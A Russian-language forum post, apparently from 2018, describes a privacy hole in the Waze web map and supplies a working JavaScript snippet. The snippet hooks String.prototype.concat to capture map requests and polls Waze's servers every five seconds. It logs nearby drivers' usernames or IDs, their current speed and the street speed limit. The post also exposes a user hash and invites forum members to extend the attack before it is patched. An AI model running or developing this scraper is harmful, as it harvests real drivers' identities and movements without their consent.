Уязвимость в навигационном сервисе Waze.

InetTester

Green Team
21.10.2018
308
43
Добрый вечер.

Не уверен что это совсем грамотно называть уязвимостью, но тем не менее с помощью небольшого JS скрипта удается получить информацию которую разработчики 100% не планировали афишировать, а именно о скорости авто в заданном регионе, бонусом идет то что если человек авторизован то проскакивает именно его логин. количество запросов естественно сильно зависит от страны и регина, данную 'новость' я еще не видел на этом ресурсе поэтому посчитал что она будет весьма актуальна.

JavaScript:
virtualRadar = function(url){
    console.log("=====================================");
    request = new XMLHttpRequest();
    request.addEventListener('load', function(ret){
        JSON.parse(ret.target.response).users.map(e=>{
            check = new XMLHttpRequest();
            check.open('GET', 'https://www.waze.com/row-WAS/app/getStreet?lat='+e.location.y+'&lon='+e.location.x+'&radius=0.0005');
            check.addEventListener('load', (function(d, r){
                try {
                var allowedSpeed = JSON.parse(r.target.response)[0].toFromMaxSpeed,
                    currentSpeed = Math.floor(d.speed*36/10);
                if (currentSpeed >= 30 && allowedSpeed >= 30)
                    console.log('%c ('+d.id+') '+d.userName + ': '+ currentSpeed+' km/h <> '+ allowedSpeed+' km/h', currentSpeed > allowedSpeed ? 'color:red':'color: #000');

            } catch (e){}; }).bind(null, e));
            check.send(null);
        });
    });
    request.open('get', url);
    request.send();
};
vRadarInterval = null;
if (!String.prototype.concat2)  String.prototype.concat2 = String.prototype.concat;
String.prototype.concat = function (){
    var ret="", args = [].slice.call(arguments);
    for (var i in args) ret = String.prototype.concat2(ret, args[i])
     ret = String.prototype.concat2(this.valueOf(),ret);
    test = /TGeoRSS\?bottom\=([0-9\.\-]*)\&left\=([0-9\.\-]*)\&ma\=([0-9\.\-]*)\&mj\=([0-9\.\-]*)&mu\=([0-9\.\-]*)\&right\=([0-9\.\-]*)\&top\=([0-9\.\-]*)/.exec(ret);
    if (test){
         clearInterval(vRadarInterval);
         vRadarInterval = setInterval(virtualRadar.bind(null, "https://www.waze.com/row-rtserver/web/"+test[0]), 5000);
    }
    return ret;
}

Было бы интересно если у форумчан получилось бы узнать 'что' именно представляет из себя данный хеш и развить данную идею, если это конечно возможно, и пока данный баг не пофиксили:

user-1267595432/eda8d84d-7906-387d-80ad-bb92869e6a04
 

Вложения

  • waze.jpg
    waze.jpg
    181,6 КБ · Просмотры: 468
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!